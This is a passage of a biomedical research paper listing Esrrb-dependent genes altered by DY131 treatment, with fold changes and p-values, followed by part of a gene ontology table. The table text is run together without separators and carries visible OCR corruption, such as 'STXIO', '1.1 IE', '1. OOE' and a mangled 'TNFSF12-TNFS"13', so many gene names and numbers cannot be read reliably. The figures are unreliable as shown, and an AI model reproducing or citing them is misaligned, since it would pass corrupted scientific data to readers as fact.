33E−33CLDN4−1.522.47E−202.00E−19VWA5A−1.527.77E−102.90E−09PC−1.521.73E−201.41E−19MMP11−1.521.58E−095.74E−09C9orf84−1.521.04E−281.33E−27SLC37A2−1.521.08E−062.99E−06SUPT3H−1.525.13E−122.33E−11SLC44A3−1.521.17E−115.15E−11UNC93B1−1.526.48E−371.19E−35SLC38A6−1.521.32E−136.69E−13NDUFA1−1.514.88E−401.01E−38TMEM205−1.514.08E−377.58E−36ZCRB1−1.512.46E−882.13E−86BRSK1−1.507.65E−102.86E−09HDAC5−1.503.47E−335.53E−32RNASEH2B−1.501.90E−221.76E−21CLASRP−1.504.14E−233.98E−22CAMK1−1.501.12E−211.00E−20C11orf10−1.491.26E−422.91E−41PRKCSH−1.495.06E−1299.41E−127PMF1-BGLAP−1.493.71E−346.12E−33NFASC−1.491.16E−052.86E−05LTBP4−1.492.21E−619.29E−60LAMA5−1.492.31E−1606.08E−158LRSAM1−1.495.65E−266.42E−25CTSH−1.486.14E−318.67E−30HEXB−1.487.22E−1088.96E−106MGST2−1.481.97E−097.13E−09FAH−1.488.07E−227.23E−21PEX7−1.482.91E−141.56E−13C5−1.481.05E−114.64E−11ACADS−1.482.02E−211.76E−20IFT43−1.479.38E−155.24E−14JAK3−1.476.46E−122.90E−11MRPL39−1.471.89E−454.88E−44SLC43A1−1.473.84E−081.23E−07EFEMP2−1.479.20E−072.56E−06SSBP4−1.471.48E−148.14E−14IMMP1L−1.471.82E−075.46E−07GPR108−1.471.33E−605.50E−59WDR54−1.464.01E−387.75E−37ARHGAP8−1.464.37E−142.32E−13RPL35A−1.468.72E−1832.76E−180GBP2−1.467.43E−123.31E−11TECR−1.461.15E−736.86E−72AUH−1.461.97E−086.54E−08PRR5-ARHGAP8−1.461.99E−141.08E−13LINC00263−1.457.89E−175.07E−16PDLIM2−1.452.48E−446.06E−43RASA2−1.451.41E−191.09E−18PTPN6−1.451.25E−362.27E−35PARL−1.452.07E−651.00E−63CERCAM−1.451.71E−741.04E−72RPL37A−1.453.14E−2011.14E−198ARRDC3−1.452.82E−842.26E−82NAE1−1.451.38E−789.72E−77MYZAP−1.457.55E−092.60E−08FBXO2−1.443.57E−233.45E−22C1QL1−1.441.45E−181.05E−17FDPS−1.441.12E−2084.30E−206FER1L4−1.442.19E−343.63E−33TMEM8B−1.442.90E−243.00E−23THOC6−1.441.49E−312.17E−30DMPK−1.439.94E−261.1 IE−24RNF181−1.431.88E−424.26E−41GUK1−1.433.52E−943.37E−92GHDC−1.432.52E−151.47E−14GRAMD1A−1.431.76E−709.52E−69SYTL2−1.433.67E−253.98E−24LEPR−1.437.79E−227.01E−21FLJ22184−1.439.59E−186.57E−17EXOSC9−1.425.87E−471.59E−45MMAB−1.422.1 IE−374.00E−36KRT86−1.421.20E−052.96E−05ABHD1−1.427.52E−082.34E−07HOOK2−1.421.59E−221.48E−21PCSK4−1.421.40E−105.56E−10TMC6−1.421.82E−282.31E−27GDPD1−1.426.19E−061.57E−05LRRC23−1.425.41E−112.25E−10PION−1.423.83E−121.75E−11BCL7C−1.429.48E−371.73E−35YPEL3−1.412.79E−101.08E−09RAD51B−1.417.17E−154.03E−14ANXA4−1.413.39E−641.55E−62B4GALNT4−1.418.74E−134.18E−12COX7B−1.411.11E−665.56E−65PRKCZ−1.411.76E−151.03E−14RAB4B−1.412.43E−212.10E−20C4orf34−1.401.44E−382.81E−37STXIO−1.402.42E−151.41E−14CRELD2−1.405.50E−245.57E−23ATP5E−1.396.27E−935.87E−91ESD−1.391.48E−759.39E−74MIA-RAB4B−1.391.84E−211.61E−20NDUFA13−1.395.54E−582.17E−56SNX14−1.393.32E−752.09E−73MRPL13−1.392.86E−446.97E−43PTPRH−1.397.14E−184.93E−17BBS5−1.392.36E−323.55E−31LMBRD1−1.384.17E−254.50E−24IQCH−1.384.75E−081.51E−07LMTK3−1.384.13E−142.19E−13MIR497HG−1.386.24E−122.81E−11C6orf70−1.383.13E−253.41E−24FGGY−1.385.12E−071.46E−06UNC5CL−1.381.66E−085.52E−08DUT−1.388.03E−1141.13E−111P2RX4−1.382.17E−201.76E−19HHIPL2−1.384.20E−061.09E−05COX5A−1.383.09E−792.21E−77CKLF−1.376.08E−349.94E−33CRYZL1−1.377.16E−278.45E−26GSTM4−1.376.05E−204.80E−19DNAH14−1.373.44E−111.45E−10TCTN1−1.376.80E−123.05E−11CBX3P2−1.362.01E−065.42E−06PTH1R−1.360.0001339110.000291689SEMA6C−1.362.31E−098.29E−09PIR−1.362.10E−313.03E−30DRAP1−1.362.70E−1012.90E−99SCP2−1.361.15E−125.47E−12GMDS−1.368.89E−186.10E−17FRG1B−1.369.55E−134.56E−12DECR1−1.354.15E−357.08E−34CTAGE5−1.354.25E−408.82E−39NPM3−1.351.82E−403.82E−39AASS−1.352.75E−056.49E−05ZC3H6−1.351.1 IE−291.48E−28C6orf203−1.352.06E−086.82E−08ADAMTS13−1.351.19E−115.23E−11UBXN11−1.352.01E−065.42E−06C10orf54−1.353.00E−631.32E−61LSS−1.357.02E−411.49E−39KLC4−1.357.74E−092.66E−08ITGB3BP−1.356.76E−112.78E−10TKTL1−1.352.72E−121.26E−11C10orf55−1.341.16E−635.16E−62CRELD1−1.341.99E−201.62E−19ADSSL1−1.342.20E−211.91E−20ALKBH7−1.341.62E−271.97E−26AIFM3−1.345.13E−071.47E−06LLGL2−1.342.44E−098.76E−09SLC27A1−1.341.99E−139.99E−13ZBTB8OS−1.345.50E−204.37E−19ANKRD13D−1.347.36E−257.86E−24C6orf57−1.343.31E−079.64E−07GCAT−1.338.16E−103.04E−09TEX9−1.331.32E−053.23E−05MAP2K5−1.339.00E−113.66E−10SLC27A2−1.332.27E−211.97E−20LTBP3−1.332.53E−435.95E−42LOC100287559−1.334.09E−059.47E−05IFITM10−1.339.64E−093.28E−08CRYL1−1.336.22E−102.34E−09USH1C−1.334.48E−091.57E−08ZC3H12D−1.330.0003309010.000684453ERI2−1.327.33E−092.53E−08TBX6−1.320.0008996710.001760238WBSCR22−1.321.53E−555.53E−54GNB2L1−1.322.65E−2721.40E−269LOC100131089−1.323.24E−081.05E−07EGFL7−1.328.28E−371.52E−35PIM3−1.316.31E−673.18E−65NUCB1−1.311.86E−791.34E−77FDXR−1.311.08E−198.38E−19EMID1−1.312.72E−099.72E−09PIBF1−1.312.54E−161.58E−15HIBCH−1.301.13E−156.72E−15RPS7−1.304.23E−1581.05E−155BIK−1.305.76E−061.47E−05TCP11L2−1.309.98E−072.77E−06TSNAX-DISC1−1.306.33E−225.72E−21OMA1−1.301.35E−251.50E−24LOC100506990−1.303.51E−091.24E−08TSTD1−1.307.46E−289.23E−27KISS1R−1.300.0003860670.000792495BCKDHA−1.292.10E−434.98E−42B9D1−1.293.14E−131.56E−12ZNF695−1.298.45E−103.14E−09TMEM63B−1.292.19E−691.17E−67MOSPD3−1.298.70E−196.37E−18RNASE4−1.292.00E−272.42E−26UGGT2−1.296.04E−215.06E−20SEMA3F−1.292.32E−191.77E−18RPS24−1.296.92E−2142.83E−211DAK−1.294.77E−622.04E−60LOC100130691−1.290.0001987220.0004236CTU2−1.291.68E−138.48E−13PLD3−1.297.26E−451.81E−43RHOV−1.292.06E−151.20E−14CHPT1−1.295.19E−672.64E−65ACSM3−1.293.03E−111.29E−10RPS25−1.284.03E−1851.31E−182OASL−1.282.48E−111.06E−10RPLP1−1.287.23E−2193.05E−216C19orf79−1.282.43E−111.04E−10IL20RB−1.281.18E−094.32E−09CACNG6−1.281.23E−053.02E−05TBCE−1.281.40E−281.78E−27FBXO16−1.280.000191810.000409623LOC100505549−1.289.29E−062.31E−05LOC100507218−1.280.0002139560.000453549TLR5−1.280.0001122730.000247109EML2−1.281.54E−148.42E−14NPM1−1.283.12E−1386.48E−136GAA−1.281.30E−321.99E−31NKD2−1.284.23E−101.61E−09CRIP2−1.288.19E−113.34E−10LOC100132891−1.276.71E−071.89E−06ALG5−1.272.16E−161.35E−15PXK−1.271.02E−145.67E−14ADA−1.276.1 IE−143.20E−13GALE−1.273.38E−458.55E−44PHGDH−1.273.96E−1135.44E−111CREG2−1.270.0004265560.000871508MSLN−1.272.53E−191.93E−18GDPD5−1.271.22E−125.80E−12ITGA7−1.275.07E−061.30E−05LIG1−1.271.36E−271.66E−26LRTOMT−1.264.37E−061.13E−05C17orf49−1.261.37E−443.39E−43HMGN5−1.265.93E−071.69E−06LOC100505624−1.264.04E−101.55E−09CATSPER1−1.250.0009492240.00184719TLE2−1.252.35E−161.46E−15CES3−1.255.98E−071.70E−06TTC35−1.257.52E−301.01E−28C6orf72−1.252.65E−334.23E−32RPS19−1.251.01E−1682.84E−166EVI5L−1.253.82E−233.68E−22LOC81691−1.257.76E−113.17E−10PLEKHH3−1.255.91E−391.17E−37LOC100507501−1.241.34E−063.67E−06SLC25A5-AS1−1.242.22E−201.80E−19RPS8−1.241.41E−2015.25E−199PPP1R7−1.243.54E−376.58E−36MAGED2−1.244.04E−418.64E−40CSTF3−1.241.10E−125.24E−12LINC00467−1.241.39E−179.42E−17MAD2L2−1.244.26E−295.54E−28PCCB−1.242.05E−536.87E−52SEZ6L2−1.241.72E−272.09E−26FKBP2−1.248.99E−301.20E−28DOCK6−1.244.80E−358.13E−34WIPI1−1.242.07E−065.57E−06ECH1−1.235.12E−763.32E−74OCEL1−1.237.19E−143.74E−13ZNF385C−1.232.37E−066.31E−06ATP8B3−1.236.42E−246.47E−23PAFAH1B2−1.238.05E−258.57E−24TM4SF19-TCTEX1D−1.231.23E−053.02E−05SRPX−1.235.84E−112.42E−10SLC39A11−1.233.03E−212.60E−20TMEM41B−1.225.82E−092.02E−08PADI2−1.223.51E−111.48E−10STX4−1.228.39E−281.03E−26MAP4K2−1.221.86E−201.51E−19PXMP4−1.222.50E−077.39E−07TCIRG1−1.222.38E−415.15E−40SERPING1−1.228.23E−082.55E−07IFI35−1.224.92E−132.41E−12DPY19L1P1−1.223.99E−071.15E−06MAN2B1−1.225.94E−481.67E−46FAF1−1.225.28E−511.65E−49ZDHHC1−1.222.34E−066.25E−06NAAA−1.214.63E−111.93E−10EFCAB11−1.214.21E−059.73E−05HSCB−1.211.67E−127.85E−12FBXW9−1.212.21E−055.28E−05ZNF467−1.211.19E−094.36E−09ILVBL−1.211.32E−443.28E−43SDR16C5−1.214.72E−173.09E−16IQGAP2−1.216.21E−071.76E−06SRGAP3−1.212.76E−056.50E−05EGF−1.210.0001083190.000238866ERGIC3−1.212.97E−631.31E−61CYFIP2−1.213.35E−141.79E−13BCAS3−1.215.34E−235.11E−22DOCK11−1.213.15E−111.33E−10SLC37A1−1.211.67E−075.02E−07HSD17B4−1.211.16E−544.10E−53NT5M−1.217.71E−050.000172918SERINC5−1.202.82E−067.46E−06CCDC85B−1.209.58E−959.54E−93ALDH7A1−1.201.18E−615.00E−60OPLAH−1.201.60E−211.41E−20ASNS−1.204.29E−1065.17E−104KIFAP3−1.204.03E−264.60E−25C1R−1.202.83E−078.29E−07FRY−1.200.0009209010.001797881ANO9−1.207.19E−072.02E−06BCAM−1.207.19E−331.1 IE−31MED30−1.201.06E−135.46E−13LOC100127983−1.206.85E−061.73E−05CBS−1.201.10E−554.00E−54PNPLA2−1.197.09E−371.30E−35C1QL4−1.191.08E−073.32E−07LOC100129716−1.190.0003637910.000749078ANKRD36BP2−1.190.0002878630.000599766LCMT1−1.197.16E−133.45E−12SHF−1.193.46E−069.04E−06RABGGTA−1.192.76E−101.07E−09ANKRA2−1.194.84E−152.76E−14SYT12−1.198.47E−206.64E−19PYROXD2−1.192.34E−066.25E−06COPG2−1.192.42E−354.16E−34RAP1GAP−1.191.26E−084.24E−08LOC728743−1.182.13E−055.11E−05SRI−1.185.42E−431.27E−41DDX43−1.182.82E−232.74E−22PRIM1−1.181.39E−291.85E−28FAM125A−1.182.67E−161.65E−15HCFC1R1−1.186.80E−522.20E−50THBS3−1.183.57E−182.51E−17C15orf48−1.186.58E−308.85E−29C11orf54−1.187.03E−184.86E−17CTSF−1.185.63E−266.40E−25CDH3−1.184.89E−591.96E−57ULK4−1.180.0007770110.001532576C1S−1.176.98E−050.00015741VSIG1−1.170.0003725120.00076579MED25−1.176.05E−194.47E−18AIG1−1.177.65E−174.93E−16VAV1−1.172.41E−141.30E−13PPA2−1.171.32E−332.13E−32FAM98C−1.175.33E−050.000121815FCGRT−1.171.69E−261.95E−25EXOSC8−1.171.71E−251.88E−24TMEM160−1.171.88E−118.15E−11SREBF1−1.172.51E−323.78E−31Clorf172−1.178.99E−062.24E−05MSI2−1.171.73E−117.52E−11IMPA2−1.176.70E−361.17E−34IGFBP6−1.171.04E−187.55E−18EIF2D−1.177.55E−482.12E−46LTA4H−1.167.60E−764.88E−74ASL−1.167.72E−289.53E−27ETHE1−1.161.72E−231.69E−22RPH3AL−1.164.72E−213.99E−20KLHDC2−1.162.62E−741.59E−72FAM171A2−1.162.02E−097.29E−09IFT88−1.162.41E−077.15E−07SIGIRR−1.161.53E−053.72E−05SUGT1−1.161.60E−191.23E−18TXNIP−1.163.34E−079.72E−07GTF2H2D−1.160.0001027220.000227077REEP6−1.151.93E−181.38E−17AAAS−1.155.67E−349.29E−33CDKL2−1.150.0006111090.001221929MRC2−1.152.67E−324.02E−31RPN2−1.154.07E−1771.26E−174FN3K−1.155.62E−112.33E−10ST14−1.155.82E−112.41E−10GRAPL−1.150.0023211220.004253204CUEDC2−1.152.06E−282.59E−27IFI30−1.151.81E−086.01E−08C9orf46−1.151.24E−125.89E−12ABCA5−1.151.85E−075.53E−07RPGR−1.152.48E−077.34E−07PKN1−1.152.23E−841.80E−82ATG16L2−1.151.06E−062.95E−06WBSCR27−1.153.77E−069.80E−06LRRC45−1.141.24E−178.40E−17PTMS−1.141.81E−791.31E−77CKLF-CMTM1−1.141.06E−166.72E−16BTC−1.143.10E−057.27E−05TNFSF12-TNFS"13−1.147.55E−195.53E−18PREX1−1.144.53E−091.58E−08FGD3−1.147.45E−050.000167354PCIF1−1.142.14E−343.56E−33CALB2−1.143.17E−068.33E−06PTGES−1.143.74E−213.18E−20HES7−1.130.0038037940.00674057FGFR4−1.138.06E−248.07E−23NFKBID−1.130.000946510.001842867BMP1−1.131.37E−312.00E−30MSI1−1.130.0024644280.004500152RPS6KB2−1.132.74E−202.21E−19KCTD19−1.133.06E−068.06E−06CCDC88B−1.131.55E−116.73E−11SCNN1A−1.134.23E−357.21E−34POMGNT1−1.138.85E−411.88E−39HECTD2−1.130.0015883050.002987874NUP107−1.132.10E−547.31E−53CXCL16−1.135.14E−122.33E−11GAPDHS−1.130.0019146220.003556771CDC42BPG−1.133.79E−081.22E−07MLXIPL−1.126.00E−061.53E−05IFI27L1−1.121.31E−136.68E−13ABCA7−1.125.03E−327.44E−31CREB3L4−1.128.76E−175.61E−16COPE−1.121.68E−312.44E−30PEMT−1.124.08E−081.31E−07PKN3−1.122.05E−129.57E−12UQCRC1−1.123.06E−842.42E−82DNAJC4−1.122.58E−151.50E−14FAM175A−1.123.67E−058.54E−05FIBP−1.121.34E−483.86E−47KCNN1−1.121.14E−052.82E−05RQCD1−1.125.66E−194.19E−18JUNB−1.119.88E−502.95E−48ASPSCR1−1.115.66E−132.76E−12QPCTL−1.114.68E−255.04E−24CD9−1.113.02E−942.91E−92SH2B2−1.116.68E−050.000151083SSR4−1.111.05E−198.16E−19NDUFA2−1.118.18E−195.99E−18ALPK1−1.111.89E−161.19E−15GFM2−1.111.22E−544.29E−53GPCPD1−1.118.79E−196.43E−18NDRG2−1.111.37E−063.74E−06PRSS22−1.110.0020804350.003844256MST1P9−1.110.0022665270.004161499TRIM9−1.110.0002049240.000435644ATP2A3−1.114.09E−091.44E−08TMEM161A−1.112.06E−129.63E−12ING4−1.115.53E−081.75E−07METTL5−1.119.00E−341.46E−32IFT74−1.112.99E−111.27E−10GALT−1.109.23E−144.76E−13ZCWPW2−1.102.10E−323.17E−31USH1G−1.100.0026198290.004769462FAM162A−1.101.90E−181.36E−17BCL3−1.103.72E−469.84E−45TSPAN1−1.109.28E−124.1 IE−11SIPA1−1.102.57E−252.80E−24WDR27−1.108.86E−072.47E−06LOC678655−1.102.98E−091.06E−08MATN2−1.103.00E−171.98E−16SERPINI1−1.107.67E−072.15E−06NPRL2−1.108.74E−123.88E−11IRF6−1.103.53E−111.49E−10C17orf57−1.109.25E−062.30E−05HSPB11−1.102.47E−111.06E−10LOXL2−1.102.56E−1194.1 IE−117GATS−1.103.88E−071.12E−06POLD1−1.103.61E−386.98E−37KREMEN2−1.100.0009063450.001771925SH3YL1−1.097.15E−184.93E−17HEXDC−1.093.33E−081.08E−07CHIC2−1.095.08E−050.000116308FLJ39051−1.090.0004440450.000904903ALKBH6−1.094.88E−091.70E−08MAGOH−1.091.09E−146.06E−14LOC100505783−1.091.52E−053.70E−05C16orf62−1.091.35E−241.42E−23GAL3ST1−1.090.0040912790.00721967ZNF670-ZNF695−1.096.71E−071.89E−06UGCG−1.092.19E−496.44E−48AS3MT−1.090.0003264420.000675804GRTP1−1.092.37E−055.64E−05AQP3−1.093.02E−089.82E−08TMEM45B−1.097.62E−143.95E−13ZP3−1.092.43E−087.96E−08AP4M1−1.098.43E−092.89E−08PLD1−1.092.70E−067.14E−06CCBL2−1.092.76E−202.23E−19NR4A1−1.084.86E−214.10E−20BRE−1.081.97E−333.15E−32PCYOX1L−1.083.06E−151.77E−14KIAA1456−1.084.80E−050.000110264AARS−1.081.30E−1924.43E−190MRPL47−1.082.55E−161.58E−15ERP44−1.084.10E−429.20E−41ARHGEF16−1.085.13E−132.51E−12TP53TG1−1.081.83E−054.40E−05FA2H−1.081.77E−085.89E−08ADAM15−1.074.71E−732.73E−71STAG3−1.070.0057183520.00986248PTK2B−1.074.07E−142.16E−13NSMCE1−1.075.38E−183.74E−17ATXNIO−1.079.31E−826.97E−80CCDC53−1.073.48E−152.01E−14MIPEP−1.074.92E−101.87E−09TNFAIP2−1.071.57E−1463.48E−144PSMA5−1.071.18E−412.60E−40INSIG1−1.078.19E−552.90E−53KIAA1383−1.074.15E−061.07E−05SDC2−1.073.27E−057.64E−05COX5B−1.077.29E−321.08E−30DTX4−1.072.75E−067.28E−06LOC100289495−1.077.59E−050.000170296BIN1−1.078.92E−113.62E−10CLDN7−1.072.52E−171.68E−16LMF1−1.071.18E−052.90E−05C11orf93−1.070.0001802530.000386051C1RL−1.062.49E−303.42E−29MTMR11−1.068.82E−206.91E−19CST6−1.064.12E−162.53E−15CRISPLD1−1.061.71E−075.16E−07PFKL−1.063.28E−731.92E−71IER5L−1.061.03E−198.04E−19NUDT17−1.062.65E−077.80E−07RABAC1−1.069.34E−311.31E−29ABCA2−1.062.56E−497.50E−48TRAP1−1.061.61E−761.05E−74BBS9−1.061.98E−118.56E−11MMP15−1.063.72E−274.45E−26SCPEP1−1.064.13E−223.76E−21TLL2−1.064.28E−059.90E−05VPS28−1.063.44E−192.60E−18TCN2−1.069.31E−072.59E−06HS1BP3−1.065.55E−204.41E−19HMG20B−1.069.18E−847.22E−82FUCA1−1.064.76E−183.32E−17ARHGEF7−1.051.63E−117.10E−11WDR33−1.056.18E−102.33E−09SYT13−1.050.0046699620.008171303C16orf13−1.053.16E−243.26E−23KTN1−1.056.31E−915.75E−89GPX4−1.054.33E−823.26E−80RPS16−1.052.85E−1073.46E−105AGXT2L2−1.051.67E−127.88E−12TMEM141−1.051.52E−181.09E−17LAMP3−1.054.66E−061.20E−05CDKN1C−1.050.0004240190.000866884LOC100288846−1.050.0009880060.001917938DHRS12−1.050.0082370240.013823818ATP6AP1L−1.050.0081913150.013754406ERCC2−1.054.13E−233.98E−22FMO5−1.050.0086520570.014449416ULK2−1.058.06E−206.33E−19SMARCD3−1.052.06E−086.82E−08PHYHD1−1.054.25E−111.78E−10C10orf11−1.050.0033541350.006000913KRTCAP3−1.050.0002035470.000433154SRP54−1.052.70E−882.32E−86IMMP2L−1.042.06E−076.13E−07CARS−1.043.50E−448.52E−43RPL24−1.045.98E−763.86E−74GSN−1.043.51E−172.31E−16BAI2−1.049.31E−165.58E−15WDR18−1.041.17E−463.16E−45ZC4H2−1.040.0094009040.015597066EIF3M−1.044.78E−591.93E−57SLC25A42−1.047.39E−082.30E−07MTHFR−1.042.62E−101.02E−09ABCG2−1.040.0033497060.005994684NR1H3−1.040.0005059230.001023253PAAF1−1.042.18E−211.90E−20GSTK1−1.041.65E−373.13E−36DEPDC4−1.040.0001250310.000273146ZNF396−1.042.31E−055.51E−05BHLHE40−1.042.30E−661.15E−64TECPR1−1.043.48E−131.72E−12AMN1−1.041.59E−074.80E−07NTPCR−1.043.26E−212.79E−20MVD−1.045.49E−401.13E−38RRAS−1.041.37E−241.44E−23LOC144481−1.030.0015553840.00293074SURF1−1.031.48E−251.64E−24MFF−1.031.03E−981.09E−96MAGED1−1.033.74E−722.11E−70TBL3−1.037.98E−258.51E−24DYX1C1−1.030.0001423570.000309076SLC16A5−1.032.35E−232.30E−22GPRIN2−1.031.03E−104.17E−10LOC100130015−1.032.39E−077.07E−07DDX60−1.030.0002672130.000559136MITD1−1.031.44E−116.27E−11RBP1−1.030.0064673710.011039757TBCA−1.035.18E−338.15E−32ICAM5−1.035.23E−142.75E−13TNFRSF10C−1.030.000234910.000494816CPE−1.037.1 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E−09MALAT11.143.24E−1134.51E−111NSUN5P11.141.10E−063.03E−06C3orf521.148.59E−134.12E−12MRPS251.144.61E−672.35E−65C11orf411.141.89E−086.29E−08EPHA41.141.27E−053.12E−05LOC2836241.141.05E−229.88E−22FRMD61.151.79E−1182.83E−116XRCC21.155.36E−369.41E−35ATF51.157.98E−351.34E−33NOV1.150.0005868610.00117642RPL23AP641.150.0001829020.00039146FGF51.157.83E−050.00017528DNAH171.165.10E−061.31E−05PPARGC1B1.168.77E−123.89E−11PEA151.161.76E−1273.19E−125MIR22HG1.161.55E−271.89E−26LOC2197311.165.88E−050.000133586SLC7A21.164.67E−050.000107518ZEB11.162.44E−374.58E−36MOB3C1.171.91E−221.77E−21SBDSP11.176.56E−277.74E−26LCAT1.173.08E−089.99E−08HBEGF1.172.63E−456.70E−44MGC708701.171.69E−1092.14E−107CDC42EP21.186.61E−331.03E−31LOC4403001.181.60E−201.31E−19TMED10P11.191.35E−147.42E−14B3GALT51.190.0001614990.000348482BMPER1.194.12E−142.19E−13HERC2P71.191.08E−156.44E−15SEMA3A1.203.81E−101.46E−09HNRNPU-AS11.201.86E−282.35E−27C20orf1181.201.01E−083.43E−08LOC1547611.211.58E−053.84E−05BTBD61.213.31E−1245.74E−122ALG101.213.97E−152.28E−14LINC003381.222.07E−171.38E−16RPL23AP71.225.87E−081.85E−07CLDN151.223.94E−172.60E−16TUBA4A1.223.74E−641.69E−62ZNF8601.228.13E−195.96E−18NBPFIO1.231.33E−136.78E−13EFNB21.235.00E−203.98E−19C15orf521.243.83E−772.56E−75RRS11.241.88E−1193.05E−117OXTR1.241.09E−166.95E−16CRMP11.251.15E−063.18E−06ZNF4401.253.58E−182.52E−17EIF4EBP31.260.0006482010.001292417DUSP71.261.51E−291.99E−28EXOG1.268.37E−227.50E−21MAMLD11.271.94E−252.14E−24SMPD31.276.68E−092.31E−08PNN1.281.20E−1051.42E−103PMEPA11.281.35E−871.14E−85SCARF11.292.58E−101.00E−09LOC1005058151.291.06E−073.24E−07FBXL19-AS11.291.55E−137.86E−13HIST1H4H1.291.12E−083.80E−08TUBB1.301.63E−749.98E−73LOC1002892301.300.0001901020.000406114FAM111B1.302.83E−1174.27E−115ZNF33B1.301.31E−575.07E−56ZNF1211.301.57E−281.99E−27ZNF780A1.301.31E−251.45E−24NEFM1.302.06E−108.07E−10DGCR111.301.08E−135.52E−13ST201.315.79E−081.83E−07ADAM11.327.15E−102.68E−09SRSF11.321.55E−1704.54E−168LOC6428461.332.29E−098.22E−09LOC7307551.334.02E−071.16E−06ZNF5941.332.96E−182.10E−17ITGA21.337.36E−1028.02E−100RRN3P31.334.14E−101.58E−09MXD11.342.31E−282.90E−27PKI551.353.94E−101.51E−09LOC1005074331.359.28E−072.58E−06PPAPDC1A1.355.00E−275.95E−26PIGW1.357.76E−785.28E−76NBPF91.353.18E−468.45E−45ZNF7821.364.73E−111.97E−10RRP7B1.364.18E−081.33E−07MICA1.361.68E−221.56E−21SCARNA121.364.69E−050.000108075DDX12P1.361.67E−096.07E−09RPSAP91.365.75E−081.81E−07PLEKHM11.372.14E−087.05E−08CLDN11.371.78E−1232.99E−121TUBB11.371.35E−074.10E−07SERHL1.372.41E−098.64E−09YY21.381.99E−151.16E−14LOC3445951.388.64E−134.14E−12LOC6543421.391.44E−084.83E−08HCN21.391.10E−052.71E−05TSSK21.395.96E−061.52E−05SERTAD41.404.02E−182.81E−17PTGDR21.401.65E−148.98E−14HTR7P11.405.99E−163.63E−15C10rf631.412.97E−324.44E−31OBFC2A1.411.26E−727.20E−71ICOSLG1.413.58E−233.46E−22PPP1R3E1.428.05E−227.22E−21F13A11.421.56E−211.37E−20WASH11.431.32E−136.69E−13GNRH11.437.51E−092.59E−08TLR21.442.19E−076.50E−07PXDN1.452.57E−181.83E−17LOX1.454.42E−652.1 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IE−151.80E−14HSPA81.4800BCL2A11.481.71E−117.41E−11ADAMTS61.493.58E−069.33E−06SPIN2B1.491.12E−094.12E−09TUBAIB1.494.03E−2782.32E−275TNFAIP31.503.05E−1597.86E−157CCDC391.503.75E−058.72E−05WASH5P1.513.91E−501.19E−48SPHK11.524.08E−274.87E−26ZNF4171.531.87E−171.25E−16LOC1002890191.533.60E−101.38E−09TUBA1C1.5400BMS1P51.542.70E−067.16E−06BMS1P11.542.71E−067.17E−06SHISA91.541.40E−484.04E−47SOX91.541.14E−503.52E−49ENC11.553.65E−1044.24E−102PLEKHA8P11.554.63E−101.76E−09NEAT11.552.74E−2261.24E−223LOC1005061231.556.41E−122.88E−11LOC1005065991.561.30E−084.37E−08FOXO3B1.564.19E−172.76E−16PDIA3P1.561.88E−191.44E−18MMP11.566.14E−194.53E−18FERMT11.579.62E−1442.06E−141NPTX21.572.39E−077.07E−07MSTO2P1.583.96E−152.27E−14ZFP1121.582.53E−181.80E−17AFG3L1P1.593.41E−742.05E−72TFRC1.601.56E−2106.16E−208SPRN1.633.15E−212.70E−20LOC1001330911.644.17E−081.33E−07GKN21.641.01E−197.88E−19LOC1002722171.648.20E−082.54E−07LOC1001322471.661.26E−115.53E−11UBC1.6700LOC4408941.694.98E−071.42E−06HERC2P21.701.86E−841.51E−82CBWD21.702.67E−099.56E−09DQX11.711.13E−104.53E−10CHRM31.721.40E−147.68E−14TMEM1581.721.85E−292.44E−28G0S21.734.26E−702.29E−68LOC1002887781.775.61E−132.74E−12CCZ11.816.97E−299.02E−28GPR89A1.816.1 IE−215.12E−20DOK31.831. OOE−104.05E−10C6orf1411.857.97E−583.1 IE−56NAV31.851.21E−686.33E−67HERC2P91.859.07E−207.09E−19GOLGA8B1.865.17E−1137.03E−111OPHN11.931.05E−644.92E−63TAGLN1.942.23E−952.24E−93PRG41.956.72E−298.72E−28NBPF161.951.02E−1141.48E−112AGAP61.962.09E−252.30E−24PFN1P22.051.19E−301.65E−29PPP1R112.182.28E−161.42E−15HMGA22.197.78E−562.85E−54SRSFIO2.221.64E−221.53E−21GOLGA8A2.301.62E−881.41E−86LOC1002160012.321.88E−139.49E−13NBPF142.344.08E−853.35E−83LOC2844542.422.30E−691.22E−67ESM12.556.08E−256.53E−24LOC6130372.702.83E−232.74E−22 GO analysis showed Esrrb-dependent DY131 up-regulated genes were important for regulation of transcription, regulation of apoptosis and proliferation, and a majority of down-regulated genes are related to oxidation and reduction, metabolism and translation elongation (Table [4](#Tab4){ref-type="table"}; Additional file [1](#MOESM1){ref-type="media"}: Table S1).Table 4Gene ontology analysis of Esrrb-dependent DY131-altered genesTerm (down-regulated genes)CountP valueGO:0042273 \~ ribosomal large subunit biogenesis40.007GO:0006297 \~ nucleotide-excision repair, DNA gap filling40.032GO:0006541 \~ glutamine metabolic process40.042GO:0009083 \~ branched chain family amino acid catabolic process50.001GO:0042274 \~ ribosomal small subunit biogenesis50.001GO:0009081 \~ branched chain family amino acid metabolic process50.004GO:0006904 \~ vesicle docking during exocytosis50.016GO:0048278 \~ vesicle docking50.021GO:0006958 \~ complement activation, classical pathway50.031GO:0022406 \~ membrane docking50.038GO:0002455 \~ humoral immune response mediated by circulating immunoglobulin60.008GO:0009060 \~ aerobic respiration60.014GO:0006635 \~ fatty acid beta-oxidation70.001GO:0009062 \~ fatty acid catabolic process70.003GO:0019395 \~ fatty acid oxidation70.005GO:0034440 \~ lipid oxidation70.005GO:0033559 \~ unsaturated fatty acid metabolic process70.019GO:0009064 \~ glutamine family amino acid metabolic process70.020GO:0019228 \~ regulation of action potential in neuron70.024GO:0006289 \~ nucleotide-excision repair70.026GO:0051591 \~ response to cAMP to cAMP80.002GO:0006800 \~ oxygen and reactive oxygen species metabolic process80.021GO:0001508 \~ regulation of action potential80.023GO:0009566 \~ fertilization80.046GO:0044242 \~ cellular lipid catabolic process90.013GO:0007160 \~ cell--matrix adhesion90.032GO:0060627 \~ regulation of vesicle-mediated transport90.046GO:0009063 \~ cellular amino acid catabolic process100.002GO:0045333 \~ cellular respiration100.020GO:0007568 \~ aging100.040GO:0016485 \~ protein processing100.044GO:0006364 \~ rRNA processing110.005GO:0016072 \~ rRNA metabolic process110.007GO:0006887 \~ exocytosis110.022GO:0009310 \~ amine catabolic process120.000GO:0008203 \~ cholesterol metabolic process120.001GO:0016125 \~ sterol metabolic process120.003GO:0042391 \~ regulation of membrane potential120.024GO:0015980 \~ energy derivation by oxidation of organic compounds120.038GO:0042254 \~ ribosome biogenesis130.005GO:0016053 \~ organic acid biosynthetic process140.013GO:0046394 \~ carboxylic acid biosynthetic 